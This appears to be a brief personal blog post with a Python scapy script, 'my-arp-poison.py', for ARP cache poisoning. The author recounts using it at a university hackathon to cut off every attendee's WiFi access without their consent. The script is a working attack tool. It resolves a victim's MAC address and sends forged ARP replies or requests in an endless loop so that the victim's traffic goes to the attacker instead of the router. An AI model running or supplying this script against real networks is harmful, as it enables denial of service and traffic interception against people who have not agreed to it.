After learning about how computers on a network learn who the router is (using ARP), I figured it would be possible to trick all of the computers on a network into thinking my computer was the router, and then drop all their traffic, thereby causing every person using the WiFi network to be unable to load any page. Tried this out at a UNC Hackathon (I was always annoyed that they called in a Hackathon even though nobody was actually hacking), and it worked. Sorry guys.

read more my-arp-poison.py

#!/usr/bin/python
from scapy.all import *
import time

#some notes: windows may require request (1) rather over reply

#supress all of those annoying warnings
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

#pass the IP you want to mess with as first param
print "\n \nGoing to attack: "+sys.argv[1]
victimIP = sys.argv[1]

#pass the IP of the router as second param
print "Router's IP: "+sys.argv[2]
routerIP = sys.argv[2]

#pass the attack method as the third param (1 is request (stronger), 2 is reply)
print "Using opcode: "+sys.argv[3]+(" (request, which is stronger)" if sys.argv[3]=='1' else " (reply, which is weaker)")
opcode = int(sys.argv[3])

#get the MAC of the guy you want to attack 
answers,unanswered = sr(ARP(pdst=victimIP), timeout=1, retry=3)

#parse the answer to get the MAC.  
answer = answers[0][1]
victimMAC = answer.hwsrc

print "Found victim's MAC to be: "+ victimMAC
print "Time to pour the poison! :)\n "

while True:
    send(ARP(op=opcode, pdst=victimIP, psrc=routerIP, hwdst=victimMAC)) #hwsrc= to direct traffic not to you
    print "drip.."
    time.sleep(1.5)